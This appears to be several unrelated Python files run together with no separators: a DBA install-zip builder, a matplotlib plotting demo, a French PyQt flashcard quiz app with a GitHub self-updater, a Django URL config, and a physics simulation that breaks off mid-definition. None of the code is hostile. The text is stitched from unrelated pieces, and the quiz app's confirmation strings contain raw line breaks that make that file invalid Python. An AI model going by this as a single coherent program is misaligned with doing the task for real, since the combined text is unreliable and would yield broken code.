#!/usr/bin/env python

import os
import re
import sys
from argparse import ArgumentParser
from argparse import RawDescriptionHelpFormatter
from glob import glob
from fnmatch import fnmatch
from zipfile import ZipFile

VERSION = 1.1

opts = {}

"""
Summary:
    Builds an installation zip file for a DBA to run.

Examples:
    zipinstall              ==> will look for install script (of the pattern install-*.sql) from the CWD down
                                (first one found wins), and generate install.zip containing install/install-*sql
                                and any files needed.

    zipinstall 1.0.11.3     ==> run this at the root of a project; it will look for an install script in
                                a directory matching REL-1.0.11.3, and generate REL-1.0.11.3.zip
"""

def read_options():
    help = """
        Generates an install zip file for a DBA. Version %s

        Example Usage:

        Step 1: Create a subdirectory for the installation (Optional: step 2 will do this if necessary)
        .../Db-Pos-Storeord/install$ mkdir REL-3.35

        Step 2: Create install script template
        .../Db-Pos-Storeord/install$ zipinstall -I -s STOREORD -n 3.35

        (creates: .../Db-Pos-Storeord/install/REL-3.35/install-3.35.sql)

        Step 3: Edit the custom section within install-3.35.sql
        Prefix database object files to include with an @ sign only without subdirectory names.

        Example:
        -- ***** BEGIN CUSTOM SECTION *****
        @my_synonym.syn
        @my_view.vw
        @my_table.tab
        -- ***** END CUSTOM SECTION *****

        Step 4: Create the installation artifact:

        .../Db-Pos-Storeord/install$ zipinstall 3.35

        This creates: .../Db-Pos-Storeord/install/artifacts/REL-3.35.zip
        containing:
                install/artifacts/REL-3.35/install-3.35.sql
                install/artifacts/REL-3.35/my_synonym.syn
                install/artifacts/REL-3.35/my_view.vw
                install/artifacts/REL-3.35/my_table.tab

    """ % VERSION

    parser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=help)
    parser.add_argument('-t', '--file_template', metavar='FILE_TEMPLATE', default='install-*.sql',
                        help='describes the install file name pattern to look for (default: install-*.sql)')
    parser.add_argument('--dry_run', default=False, action='store_true',
                        help='disables writing the zip file, just displays what it would contain')
    parser.add_argument('-L', '--include_list', default=False, action='store_true',
                        help='generate list of files inside install script (with -I)')
    parser.add_argument('-I', '--build_install_script', default=False, action='store_true',
                        help='used to generate an install template; REQUIRED: -s OPTIONAL: -n')
    parser.add_argument('-n', '--install_version', default=None,
                        help='used to explicitly specify the install version for -I (e.g. 1.0.5)')
    parser.add_argument('-s', '--install_schema', default=None,
                        help='used to specify the install schema for -I (e.g. CUSTOMER')
    parser.add_argument('-p', '--install_pathname', metavar='INSTALL_PATH', default='install',
                        help='the path name containing or to contain the installation source (default: install)')
    parser.add_argument('-F', dest='force_overwrite', default=False, action='store_true',
                        help='used to force overwriting of existing files')
    parser.add_argument('-d', '--debug_enabled', default=False, action='store_true',
                        help='enable debug output')
    parser.add_argument('-v', '--verbose', default=False, action='store_true',
                        help='enable verbose mode')
    parser.add_argument('path_template', default=None, nargs='?',
                        help='[optional] the path segment install file should be in (note: A.B => REL-A.B)')
    options = parser.parse_args(sys.argv[1:])

    if options.build_install_script and not options.install_schema:
        parser.error("Schema option (-s) required if building install script (-I); -h for more info")

    return options

def debug(text):
    if opts.debug_enabled:
        print("[DEBUG] %s" % text)

def is_verbose():
    return opts.verbose

def maybe_show(str, always=False):
    if is_verbose() or always:
        print(str)

def show(str):
    print(str)

def has_ext(filespec):
    return os.path.splitext(filespec)[1]

def strip_ext(filename):
    """
    Example: install.zip ==> install
    """
    return os.path.splitext(filename)[0]

def is_dotted_number(st):
    """
    True value if st of the form "1.1" or "10.1.17" or "10.10.10.10" etc.
    """
    return st and re.match('^\d+(\.\d+)+$', st) or None

def install_file_content(version='VERSION', schema='SCHEMA', file_list=[]):
    return """
-- spool output to a logfile
column spoolfile new_value v_spoolfile
select 'install-' || sys_context('USERENV','DB_NAME') || '-%s-' || to_char(sysdate,'yyyymmdd') || '.out' as spoolfile
  from dual;
spool &v_spoolfile.

select 'Starting Install: ' || to_char(sysdate, 'yyyy-mm-dd DY hh24:mi:ss') as start_script from dual;

set serveroutput on;
set echo on;
set define off;
set timing on;

-- set the default schema for all scripts
ALTER SESSION SET CURRENT_SCHEMA=%s;

-- ***** BEGIN CUSTOM SECTION *****
%s
%s
-- ***** END CUSTOM SECTION *****

select 'Ending Install: '||to_char(sysdate, 'yyyy-mm-dd DY hh24:mi:ss')
as end_script from dual;

spool off;
    """ % (version,
           schema,
           "-- file list (might need reordering):" if file_list else "",
           "\n".join(file_list))

def is_relevant_file(filespec):
    return not filespec.endswith(".DS_Store") and not filespec.startswith("./.git")

def scan_install_path(current_path, expected_path_pattern, expected_file_pattern):
    """
    starting at current_path,
    look for an install script file matching the expected file pattern (e.g. install-*.sql)
    ensuring it exists somewhere underneath a directory matching the expected path

    return the name of the found script
           and a list of all the files encountered under current_path (used when generating zip later)
    """

    script_file = None
    script_subdir = None
    file_tree = []
    debug("looking for install script of the pattern: %s" % expected_file_pattern)
    for path,dirs,files in os.walk(current_path):
        for filespec in filter(lambda x: is_relevant_file(x), [os.path.join(path, f) for f in files]):
            debug("  filespec %s" % filespec)
            file_tree.append(filespec)
            if not script_file and fnmatch(os.path.basename(filespec), expected_file_pattern):
                debug("potential script is %s" % filespec)
                debug("expected dir pattern is %s" % expected_path_pattern)
                matching_subdir = find_matching_subdir(filespec, expected_path_pattern)
                if matching_subdir:
                    script_file = filespec
                    script_subdir = matching_subdir
                    debug("matching subdir = %s" % matching_subdir)
    return (script_file, script_subdir, file_tree)

def find_matching_subdir(filespec, dir_snippet):
    """
    given a full filespec and a directory snippet (e.g. 1.0.1), returns the actual subdirectory matching the
    snippet if the filespec is found underneath that subdirectory.
    (to match, a subdir has to match the snippet or match snippet followed by a dash)

    if no dir_snippet given, return the parent directory of the filespec

    examples: find_matching_subdir("pending-install/REL-1.0-my-install/mytable.tab", "REL-1.0")
              ==> REL-1.0-my-install

              find_matching_subdir("pending-install/REL-1.0-my-install/mytable.tab", "asdf")
              ==> None

              find_matching_subdir("pending-install/REL-1.0-my-install/mytable.tab", None)
              ==> REL-1.0-my-install
    """

    debug("find_matching_subdir(%s, %s)" % (filespec, dir_snippet))
    while filespec:
        (filespec, part) = os.path.split(filespec)
        debug("trying to find subdir matching %s from %s" % (dir_snippet, part))
        if not dir_snippet or part == dir_snippet or part.startswith("%s-" % dir_snippet):
            debug("expected dir found: %s/%s" % (filespec, part))
            return part
    return None

def find_file_in_tree(some_file, file_tree):
    if some_file.startswith(".") or some_file.startswith("/") or some_file.startswith("\\"):
        raise Exception("relative paths in referenced filenames not supported")
    for filespec in file_tree:
        #debug("find f:%s fn:%s os.path.basename(f):%s" % (f, fn, os.path.basename(f)))
        if os.path.basename(filespec) == some_file:
            return filespec

def locate_referred_file(text, file_tree):
    """
    the file specification of a file mentioned in the install script
    e.g. @customer.tab
    """
    filespec = None
    if text.startswith("@"):
        possible_file = text[1:].split()[0]
        if not has_ext(possible_file):
            possible_file = "%s.sql" % possible_file
        debug("looking for %s" % possible_file)
        filespec = find_file_in_tree(possible_file, file_tree)
        if not filespec:
            raise Exception("Could not find file mentioned in the line: %s" % text)
    return filespec

def generate_zip_file(zip_name, install_file, file_tree):
    message = None
    files_to_include = [install_file]
    if not install_file:
        return (None, "Unknown install script")
    else:
        maybe_show("Zip file %s ..." % zip_name, always=opts.dry_run)
        try:
            f = file(install_file, "r")
            contents = [row.strip() for row in f.readlines()]
            for row in contents:
                zip_content_file = locate_referred_file(row, file_tree)
                if zip_content_file and not zip_content_file in files_to_include:
                    files_to_include.append(zip_content_file)
                    debug("FILE:%s" % zip_content_file)
        finally:
            f.close()

        # n.b. with ZipFile(zip_name, "w") as install_zip: (takes care of close)
        try:
            install_zip = None
            if opts.dry_run:
                message = "Nothing written (dry run)"
            else:
                if os.path.isfile(zip_name) and not opts.force_overwrite:
                    message = "File %s exists; add -F option to overwrite" % zip_name
                else:
                    install_zip = ZipFile(zip_name, "w")
                    message = "File created:"
            for filename in files_to_include:
                filespec_in_archive = "%s/%s" % (strip_ext(zip_name), os.path.basename(filename))
                maybe_show("... ENTRY: %s" % filespec_in_archive, always=opts.dry_run)
                if install_zip:
                    install_zip.write(filename, filespec_in_archive)
        finally:
            if install_zip:
                install_zip.close()

        return (install_zip and install_zip.filename or None, message)

def cwd_name():
    return os.path.basename(os.getcwd())

def change_to_zip_starting_dir():
    for parent_dir_count in range(3):
        child_dir = os.path.join(os.getcwd(), opts.install_pathname)
        if os.path.isdir(child_dir):
            return
        os.chdir("..")
    show("Please run from inside or above the %s directory" % opts.install_pathname)
    sys.exit()

def write_file(filename, content):
    if os.path.isfile(filename):
        show("File %s already exists" % os.path.abspath(filename))
        if not opts.force_overwrite:
            return
    try:
        f = file(filename, 'w')
        f.writelines(content)
        show("File '%s' written" % os.path.abspath(filename))
    finally:
        f.close()

def filenames_to_include(excepting=None, prefix='@'):
    to_include = []
    if opts.include_list:
        to_include = ["%s%s" % (prefix, x) for x in glob("*") if x != excepting]
    return to_include

def derive_install_version():
    return cwd_name().split("REL-")[-1]

def get_install_script_details():
    version = opts.install_version or derive_install_version() or "N.N.N"
    schema = (opts.install_schema or "MISSING_SCHEMA").upper()
    filename_template = opts.file_template.replace("*", "%s")
    filename = os.path.join(".", filename_template % version)
    return (filename, version, schema)

def build_install_script_template():
    ideal_dirname = "REL-%s" % opts.install_version
    if not cwd_name() == ideal_dirname:
        if cwd_name() == opts.install_pathname:
            if os.path.exists(ideal_dirname):
                os.chdir(ideal_dirname)
            else:
                os.makedirs(ideal_dirname)
                os.chdir(ideal_dirname)
    (filename, version, schema) = get_install_script_details()
    file_content = install_file_content(version, schema, filenames_to_include(excepting=filename))
    write_file(filename, file_content)

def get_expected_path():
    """
    the optional expected path containing install script, allowing 1.1 to be shortcut for REL-1.1
    """
    if opts.path_template:
        if is_dotted_number(opts.path_template):
            return "REL-%s" % opts.path_template
        else:
            return opts.path_template
    else:
        return cwd_name()

def build_zip_file():
    """
    starting with the current working directory
    look for files of the form: install-*.sql

    if found:
        create a new zip file
        open install sql file and look for lines starting with @
        for each @ file found:
            add that file to the zip file
        close zip file
    """

    debug("CWD %s" % os.getcwd())
    expected_path = get_expected_path()
    change_to_zip_starting_dir()
    (script, actual_path, file_tree) = scan_install_path(".", expected_path, opts.file_template)

    debug("all files encountered:\n   %s" % "\n  ".join(file_tree))
    debug("script=%s" % script)

    artifacts_dir = "%s/artifacts" % opts.install_pathname
    if not os.path.exists(artifacts_dir):
        os.makedirs(artifacts_dir)
    (zip_file, message) = generate_zip_file("%s/%s.zip" % (artifacts_dir, actual_path), script, file_tree)

    if message:
        show(message)
    if zip_file:
        show(os.path.abspath(zip_file))

# ________________________

if __name__ == "__main__":
# ________________________

    opts = read_options()
    if opts.build_install_script:
        build_install_script_template()
    else:
        build_zip_file()


import matplotlib.pyplot as plt
import time
import random
import numpy as np

ysample = random.sample(xrange(0, 50), 50)

xdata = []
ydata = []

plt.show()

axes = plt.gca()
axes.set(xlabel='time', ylabel='RSSI', title='Prediction plot')

axes.set_xlim(0, 50)
x = np.arange(0,51,1)
axes.fill_between(x, 0, 10, facecolor='tan')
axes.set_ylim(0, +50)
line, = axes.plot(xdata, ydata, linewidth=2, color='g')
axes.hlines(y=10, xmin=0, xmax=50, linewidth=2, color='r')

for i in range(50):
	xdata.append(i)
	ydata.append(ysample[i])
	line.set_xdata(xdata)
	line.set_ydata(ydata)
	plt.draw()
	plt.pause(1e-4)
	time.sleep(0.1)

# add this if you don't want the window to disappear at the end
plt.show()


# coding=utf-8
from string import ascii_uppercase, digits
from tempfile import gettempdir

__author__ = 'etcher3rd'
import sys
from main import __version__
from random import choice, randint
# noinspection PyProtectedMember
from os import listdir, _exit, mkdir, startfile, environ
from os.path import join, dirname, abspath, exists
from json import dumps, loads
from PyQt5.QtCore import pyqtSlot, QObject, QTimer
from PyQt5.QtGui import QIcon, QKeySequence
from PyQt5.QtWidgets import QMainWindow, QApplication, QShortcut, QMessageBox, QPushButton, QDialog
from ui import ui_main as qt_main_ui, ui_update as qt_update_ui
from custom_logging import mkLogger, logged
from csv import excel, writer, reader, QUOTE_ALL
from pickle import load, dump
from requests import get as requests_get, head as requests_head
from urllib import request
from zipfile import ZipFile, BadZipfile, ZIP_LZMA
from shutil import rmtree, copy

cert = './cacert.pem'
environ['REQUESTS_CA_BUNDLE'] = cert

class Config():
    """
    Set it all up

    This holds everything that is accessible to the user, plus some more. It also writes/reads to the config file,
    so nothing's lost between runs.
    """
    defaults = {
        'qty': 7,
        'difficulty': 0,
        'csv': 0,
    }

    def __init__(self):
        self.__dict__['config'] = {}
        self.__dict__['path'] = None
        if hasattr(sys, 'frozen'):
            self.path = join(dirname(abspath(sys.executable)), 'epps.config')
        else:
            self.path = join(dirname(abspath(__file__)), 'epps.config')
        self.read()

    def read(self):
        if exists(self.path):
            with open(self.path) as f:
                self.__dict__['config'] = loads(f.read())

    def write(self):
        with open(self.path, mode='w') as f:
            f.write(dumps(self.__dict__['config'], indent=True, sort_keys=True))

    def __getattr__(self, key):
        for d in [self.__dict__, self.__dict__['config'], self.defaults]:
            try:
                return d[key]
            except KeyError:
                pass
        return ''

    def __setattr__(self, key, value):
        if key in self.__dict__.keys():
            self.__dict__[key] = value
        else:
            self.__dict__['config'][key] = value
            self.write()

    def __getitem__(self, key):
        return getattr(self, key)

    def __setitem__(self, key, value):
        self.__setattr__(key, value)

class DataSet():
    def __init__(self, init_list=None):
        if init_list:
            self.l = list(init_list)
        else:
            self.l = []

    def __len__(self):
        return len(self.l)

    # __iter__ is not strictly required, it's only needed to implement
    # efficient iteration.
    def __iter__(self):
        return self.l.__iter__()

    # __contains__ isn't strictly required either, it's only needed to
    # implement the `in` operator efficiently.
    def __contains__(self, item):
        return self.l.__contains__(item)

    def __getitem__(self, item):
        return self.l.__getitem__(item)

    # Mutable sequences only, provide the Python list methods.
    def append(self, item):
        self.l.append(item)

    def count(self, item):
        return self.l.count(item)

    def index(self, item):
        return self.l.index(item)

    def extend(self, other):
        return self.l.extend(other)

    def insert(self, index, item):
        return self.l.insert(index, item)

    def pop(self):
        return self.l.pop()

    def remove(self, item):
        return self.l.remove(item)

    def reverse(self):
        return self.l.reverse()

    def __eq__(self, other):
        return self.l == other.l

    def __str__(self):
        return self.l.__str__()

    def sort(self):
        self.l.sort()
        return self

class CSV(DataSet):
    csv_dialect = excel
    csv_dialect.lineterminator = '\n'
    csv_dialect.delimiter = ';'
    csv_dialect.quoting = QUOTE_ALL

    def __init__(self, target_file):
        """
        Superseeds data_set.DataSet with methods for reading / writing from / to CSV files

        :param target_file: CSV file to read or write
        """
        DataSet.__init__(self)
        self.target_file = target_file

    # def get_target_file(self):
    # return self.__target_file

    # def set_target_file(self, value):
    # self.__target_file = value
    #
    # def del_target_file(self):
    # del self.__target_file

    def read(self):
        with open(self.target_file) as f:
            data = reader(f, self.csv_dialect)
            for row in data:
                self.l.append(row)
        return self

    def write(self):
        with open(self.target_file, 'w') as csvFile:
            data = writer(csvFile, dialect=self.csv_dialect)
            for row in self.l:
                data.writerow(row)
        return self

        # target_file = property(get_target_file, set_target_file, del_target_file, "CSV file to read or write")

class Stats(object):
    """
    classdocs
    """
    d = {}

    def __init__(self):
        """
        Constructor
        """
        self.file_name = 'epps.stats'

    def read(self):
        if not exists(self.file_name):
            self.d = {'total': {'wrong': 0, 'correct': 0}}
            self.write()
        with open(self.file_name, 'rb') as f:
            # noinspection PyArgumentList
            self.d = load(f)

    def write(self):
        with open(self.file_name, 'wb') as f:
            # noinspection PyArgumentList
            dump(self.d, f)

    def correct(self, question):
        if question in self.d.keys():
            self.d[question]['correct'] += 1
        else:
            self.d[question] = {'correct': 1, 'wrong': 0}
        self.d['total']['correct'] += 1
        self.write()

    def wrong(self, question):
        if question in self.d.keys():
            self.d[question]['wrong'] += 1
        else:
            self.d[question] = {'correct': 0, 'wrong': 1}
        self.d['total']['wrong'] += 1
        self.write()

    def get_wrongs(self, percentile=25):
        qty = len(self.d) * (float(percentile) / 100)
        rtn = []
        for k in sorted([(x, self.d[x]['wrong']) for x in self.d.keys() if x != 'total'], key=lambda y: y[1],
                        reverse=True):
            rtn.append(k[0])
            if len(rtn) >= qty:
                return rtn

    def get_corrects(self, percentile=25):
        qty = len(self.d) * (float(percentile) / 100)
        rtn = []
        for k in sorted([(x, self.d[x]['correct']) for x in self.d.keys() if x != 'total'], key=lambda y: y[1],
                        reverse=True):
            rtn.append(k[0])
            if len(rtn) >= qty:
                return rtn

    def get_total_correct(self):
        return self.d['total']['correct']

    def get_total_wrong(self):
        return self.d['total']['wrong']

    def __str__(self):
        return 'Bon: {}\tMauvais: {}'.format(self.get_total_correct(), self.get_total_wrong())

def humansize(nbytes):
    suffixes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']
    if nbytes == 0:
        return '0 B'
    i = 0
    while nbytes >= 1024 and i < len(suffixes) - 1:
        nbytes /= 1024.
        i += 1
    f = ('%.2f' % nbytes).rstrip('0').rstrip('.')
    return '%s %s' % (f, suffixes[i])

class Gui():
    def __init__(self):
        pass

    class UpdateEPPS(QDialog, qt_update_ui.Ui_Dialog):
        class UpdateProgressBar():
            def __init__(self, parent):
                self.progress_bar = parent.progress_bar

            def update_title(self, title):
                pass

            def update(self, i):
                self.progress_bar.setValue(round(int(i)))

        def __init__(self):
            logger.debug("UpdateGui - init")
            QDialog.__init__(self)
            self.setupUi(self)
            self.setWindowTitle('Mise à jour d\'EPPS')
            self.setModal(True)
            self.setWindowIcon(icon)
            self.download_progress_bar = Gui.UpdateEPPS.UpdateProgressBar(self)

    class Main(QMainWindow, QObject, qt_main_ui.Ui_MainWindow):

        logger, csv, qa_pair = None, None, None

        @logged
        def __init__(self):
            QObject.__init__(self)
            self.config = Config()
            self.setupUi(self)
            self.setWindowTitle('EPPS {}'.format(__version__))
            self.ensurePolished()
            self.timer = QTimer()
            self.style_timer = QTimer()
            self.update_gui = Gui.UpdateEPPS()
            # noinspection PyUnresolvedReferences
            self.style_timer.timeout.connect(self.on_style_timer_timeout)
            self.csv_combo.addItems([x[:-4] for x in listdir('.') if x[-4:] == '.csv'])
            # noinspection PyUnresolvedReferences
            self.csv_combo.currentIndexChanged.connect(self.on_csv_combo_index_changed)
            self.buttons = {
                0: self.toolButton_1,
                1: self.toolButton_2,
                2: self.toolButton_3,
                3: self.toolButton_4,
                4: self.toolButton_5,
                6: self.toolButton_6,
                5: self.toolButton_7,
                7: self.toolButton_8,
                8: self.toolButton_9,
                9: self.toolButton_10,
            }
            self.shortcuts = []
            for i in self.buttons.items():
                i[1].setFixedHeight(40)
                i[1].setFixedWidth(700)
                s = QShortcut(QKeySequence(str(i[0])), self)
                # noinspection PyUnresolvedReferences
                s.activated.connect(self.buttons[i[0]].click)
                self.shortcuts.append(s)
            self.stats = Stats()
            self.stats.read()
            self.refresh_stats()
            self.config_values = [
                (self.difficulty_combo, 'difficulty'),
                (self.csv_combo, 'csv'),
                (self.choices_qty_combo, 'qty')
            ]
            for x in self.config_values:
                x[0].setCurrentIndex(self.config[x[1]])
                # noinspection PyUnresolvedReferences
                x[0].currentIndexChanged.connect(lambda iii=x[0], ii=x[1]: self.on_config_value_update(iii, ii))
            # noinspection PyUnresolvedReferences
            self.start_button.clicked.connect(self.start)
            # noinspection PyUnresolvedReferences
            self.timer.timeout.connect(self.on_timer_update)
            self.time_max, self.time_left = None, None
            self.default_style = self.styleSheet()
            self.check_for_new_version()
            self.show()

        @pyqtSlot()
        def on_timer_update(self):
            self.time_left -= 100
            if self.time_left <= 0:
                self.on_wrong_answer()
            else:
                self.progress_bar.setValue(self.time_left / self.time_max * 100)

        @pyqtSlot()
        def on_config_value_update(self, idx, value):
            self.config[value] = idx

        @pyqtSlot()
        def on_csv_combo_index_changed(self):
            self.load_csv()

        def load_csv(self):
            self.logger.debug(self.csv_combo.currentText())
            self.csv = CSV('{}.csv'.format(self.csv_combo.currentText()))
            self.csv.read()

        def start(self):
            self.load_csv()
            self.make_question()

        def make_question(self):
            qi, ai = 0, 1
            if self.inversed:
                qi, ai = 1, 0
            self.qa_pair = tuple(choice(self.csv))
            if self.prio_wrong:
                self.qa_pair = tuple(choice(self.stats.get_wrongs()))
            q, a = self.qa_pair[qi], self.qa_pair[ai]
            self.question_label.setText(q)
            ca = randint(0, self.choices_qty - 1)
            wa = [choice(self.csv)[ai] for _ in range(self.choices_qty)]
            while a in wa:
                wa.remove(a)
                wa.append(choice(self.csv)[ai])
            for k in self.buttons:
                try:
                    # noinspection PyUnresolvedReferences
                    self.buttons[k].clicked.disconnect()
                    self.buttons[k].setText('')
                except TypeError:
                    pass
            for i in range(0, self.choices_qty):
                if i == ca:
                    self.buttons[i].setText('{}: {}'.format(i, a))
                    # noinspection PyUnresolvedReferences
                    self.buttons[i].clicked.connect(self.on_correct_answer)
                else:
                    self.buttons[i].setText('{}: {}'.format(i, wa.pop()))
                    # noinspection PyUnresolvedReferences
                    self.buttons[i].clicked.connect(self.on_wrong_answer)
            if self.difficulty_combo.currentIndex() > 0:
                self.time_max = (10000 + self.choices_qty * 1000) / self.difficulty
                self.time_left = self.time_max
                self.timer.start(100)
            elif self.timer.isActive():
                self.timer.stop()
                self.progress_bar.setValue(0)

        @pyqtSlot()
        def on_style_timer_timeout(self):
            self.setStyleSheet(self.default_style)

        @pyqtSlot()
        def on_wrong_answer(self):
            self.stats.wrong(self.qa_pair)
            self.next_question('red')

        @pyqtSlot()
        def on_correct_answer(self):
            self.stats.correct(self.qa_pair)
            self.next_question('green')

        def next_question(self, color=None):
            if color is not None:
                self.setStyleSheet('background-color: {}'.format(color))
                self.style_timer.start(100)
            self.make_question()
            self.refresh_stats()

        def refresh_stats(self):
            self.stats_label.setText(str(self.stats))

        @property
        def inversed(self):
            return self.inversed_checkbox.isChecked()

        @property
        def prio_wrong(self):
            return self.priowrong_checkbox.isChecked()

        @property
        def choices_qty(self):
            return int(self.choices_qty_combo.currentText())

        @property
        def difficulty(self):
            return self.difficulty_combo.currentIndex()

        def check_for_new_version(self):
            # if not hasattr(sys, 'frozen'):
            #     return
            self.logger.debug("vérification de l'existence d'une nouvelle version d'EPPS")
            r = requests_get('https://api.github.com/repos/etcher3rd/EPPS/releases')
            if not r:
                self.logger.error("erreur lors de la requete HTTP")
                return
            # noinspection PyBroadException
            try:
                for x in r.json():
                    tag = x['tag_name']
                    url = x['assets'][0]['browser_download_url']
                    size = x['assets'][0]['size']
                    notes = x['body']
                    draft = x['draft']
                    prerelease = x['prerelease']
                    logger.debug(notes)
                    logger.debug(draft)
                    logger.debug(prerelease)
                    # skip all alpha & beta versions if we're not already on it
                    if 'alpha' in tag and not 'alpha' in __version__ \
                            or 'beta' in tag and not 'beta' in __version__:
                        continue
                    # we're already up to date
                    elif tag == __version__:
                        return
                    # return latest version
                    # return url, size, notes, tag
                    if self.confirm("
Une nouvelle version d'EKPI est disponible: {}
"
                                    "
Voulez-vous mettre à jour maintenant ?
"
                                    "(EKPI sera automatiquement redemarré)
"
                                    "
Notes de version: {}
".format(tag, notes)):
                        # self.hide()
                        self.update_gui.show()
                        tmp_file = abspath(join(gettempdir(), ''.join(choice("{0}{1}".format(
                            ascii_uppercase, digits)) for _ in range(15))))
                        if not download(url, tmp_file, size=size, download_nice_name='EPPS',
                                        callback=self.update_gui.download_progress_bar):
                            self.logger.error('erreur lors du téléchargement')
                            return
                        if exists('./update'):
                            rmtree('./update')
                        mkdir('./update')
                        if not unzip(tmp_file, './update'):
                            self.logger.error('erreur lors de la décompression')
                        self.logger.debug("fermeture du programme")
                        for f in listdir('./update'):
                            if f == "epps.exe":
                                continue
                            try:
                                copy('./update/{}'.format(f), f)
                            except:
                                continue
                        rmtree('./update')
                        self.update_gui.hide()
                        startfile('epps.exe')
                        _exit(0)
                    else:
                        return

            except IndexError:
                self.logger.error('erreur lors de la recherche de mise à jour; la dernière release n\'a pas encore de '
                                  'fichier disponible au téléchargement, probablement qu\'etcher est en train d\''
                                  'uploader, ou qu\'il a retiré la release à cause d\'un bug découvert à la dernière '
                                  'minute. Vous pourrez réessayer d\'ici quelques minutes.')
            except:
                self.logger.exception("erreur lors de la recherche d'une nouvelle version")
                return
            self.logger.debug("pas de nouvelle version")
            return

        @staticmethod
        def __build_msg_box():
            _msgbox = QMessageBox()
            _msgbox.setWindowTitle("EPPS {}".format(__version__))
            _msgbox.setWindowIcon(icon)
            _msgbox.setTextFormat(1)
            return _msgbox

        @pyqtSlot(str)
        def msgbox(self, text):
            _msgbox = self.__build_msg_box()
            _msgbox.setText(text)
            _msgbox.addButton(QPushButton('Ok ...'), QMessageBox.YesRole)
            _msgbox.exec_()

        @pyqtSlot(str)
        def confirm(self, text):
            _msgbox = self.__build_msg_box()
            _msgbox.setText(text)
            _msgbox.addButton(QMessageBox.Yes)
            _msgbox.addButton(QMessageBox.No)
            if _msgbox.exec_() == QMessageBox.Yes:
                return True
            return

def download(url, target, count=1, size=None, download_nice_name='', callback=None, redirect=False):
    logger.debug("Defer - download - début du téléchargement")
    logger.debug("Defer - download - url: {}".format(url))
    logger.debug("Defer - download - fichier local: {}".format(target))
    try:
        logger.debug("Defer - download - récupération des headers")
        resp = requests_head(url)
    except:
        logger.exception("Defer - download - erreur lors de la récupération des headers")
        return
    if not resp:
        logger.exception("Defer - download - erreur lors de la récupération des headers")
        return
    logger.debug('Defer - download - lecture des headers')
    try:
        h = resp.headers
        if size is None:
            logger.debug('Defer - download - recherche de la taille du fichier à télécharger dans les headers')
            if 'Content-Length' in h.keys():
                size = h['Content-Length']
                logger.debug('Defer - download - taille trouvée: {}'.format(size))
    except:
        logger.error('defer-download - erreur lors de la lecture des headers')
        return
    if redirect and 'location' in h.keys() and not h['location'] == url:
        logger.debug('Defer - download - redirection vers la nouvelle url: {}'.format(h['location']))
        if count > 10:
            logger.error("Defer - download - trop de redirections, je laisse tomber")
            return
        return download(h['location'], target, count + 1, size=size,
                        download_nice_name=download_nice_name, redirect=redirect)
    if size is None:
        if count > 10:
            logger.error('Defer - download - je ne suis pas parvenu à obtenir la taille du fichier distant')
            logger.error('Defer - download - headers: {}'.format(h))
            return
        return download(url, target, count=count + 1, size=size,
                        download_nice_name=download_nice_name, callback=callback, redirect=redirect)
    else:
        size = int(size)
    logger.debug("Defer - download - début du transfert des données")
    try:
        callback.update(0)
        callback.update_title("Téléchargement de : {} ({})".format(download_nice_name, humansize(size)))
        with request.urlopen(url) as resp, open(target, mode='wb') as f:
            size_dl = 0
            while True:
                buffer = resp.read(512)
                if not buffer:
                    break
                size_dl += len(buffer)
                f.write(buffer)
                callback.update(size_dl * 100 / size)
    except:
        logger.exception("Defer - download - erreur lors du transfert des données")
        return
    callback.update_title("Téléchargement de : {} ({}) - succès".format(download_nice_name, humansize(size)))
    callback.update(100)
    return True

def unzip(zip_file_path, target_dir):
    logger.debug("Defer - unzip - ouverture du fichier ZIP")
    try:
        with ZipFile(zip_file_path, mode='r', compression=ZIP_LZMA) as zip_file:
            logger.debug(
                "Defer - unzip - extraction des données vers {}".format(target_dir))
            zip_file.extractall(target_dir)
    except BadZipfile:
        logger.exception(
            "il semble que le fichier ZIP suivant soit corrompu: {}".format(zip_file_path))
        return
    except:
        logger.exception("Defer - unzip- erreur lors de l'extraction du fichier ZIP")
        logger.error("Est-ce que le dossier suivant est protégé par l'UAC Windows ? \n\"{}\""
                     "\n\nSi oui, il faudrait peut-être redémarrer EKPI en mode administrateur"
                     .format(zip_file_path))
        return
    return True

logger = mkLogger('__main__')
qt_app = QApplication(sys.argv)
icon = QIcon(':/ico/epps.ico')
ui_main = Gui.Main()
ui_main.setWindowIcon(icon)
_exit(qt_app.exec())


from django.urls import path

from . import views

urlpatterns = [
    path("manage_products/<int:id>", views.manage_products, name="manage_products"),
    # path("getone/<int:id>", views.getone, name="getone"),
    path("delete_prod/<int:id>/<int:seller_id>", views.delete_prod, name="delete_prod"),
    path("update_prod/<int:id>", views.update_prod, name="update_prod"),
]


import numpy as np
from matplotlib.patches import Circle, Wedge, Polygon
from matplotlib.collections import PatchCollection
import matplotlib.pyplot as plt
from collections import namedtuple, OrderedDict
import copy as cp

from typing import NewType

from recordclass import recordclass, RecordClass

#import contextlib
#with contextlib.redirect_stdout(None):
#    import pixiedust

System = namedtuple('System', [
    'radius',   # inital, relaxed radius
    'num_balls',     # number of balls to model the balloon
    'center',   # center of the balloon
    'm',        # mass of the balls
    'ball_radius',  # radius of the balls for visualization
    'k',        # spring constant for each spring
    'x0',       # sprint length at equilibrium
    'delP',     # pressure difference between outside and inside
    'dt',       # time step
    'max_iters',  # max number of sol iterations
])

Point = NewType('Point', np.array)

class Ball(object):
    X = 0
    Y = 1

    def __init__(self, x: float = 0, y: float = 0, mass: float = 1, color=None, radius:float = 1):
        self._pos = np.array([x, y])
        self._color = color
        self._mass = mass
        self._radius = radius

    def __str__(self):
        return 'pos=(' + str(self._pos[self.X]) + ', ' + str(self._pos[self.Y]) + '), mass=' + \
               str(self._mass)

    def set_pos(self, new_pos: np.array):
        self._pos = new_pos

    def get_pos(self):
        return self._pos

    def move(self, vector: np.array):
        self._pos = self._pos + vector

    def draw(self, ax):
        pass

class Spring(object):
    #def __init__(self, point1: np.array, point2: np.array, k: float = 1.0):
    def __init__(self, point1: np.array, point2: np.array, k: float = 1.0):
        self._p = point1
        self._q = point2
        self._k = k
        self._length0 = 0

    def get_force(self, x):
        return -self._k*x

class BallsAndSpringsSystem(object):
    Neighbor = namedtuple('Neighbor', ['ball', 'spring', ])

    def __init__(self, ):
        self._balls = []
        self._springs = []
        self._neighbors = OrderedDict()

    def draw(self, ax=None):
        pass

class StraightChain(BallsAndSpringsSystem):
    BOUNDARY_RIGID = 0
    BOUNDARY_OPEN = 1

    def __init__(self, num_balls: int, ball_mass: float = 1.0, spring_const: float = 1.0, spring_length: float = 1.0,
                 left_boundary: int = BOUNDARY_OPEN, right_boundary: int = BOUNDARY_RIGID):
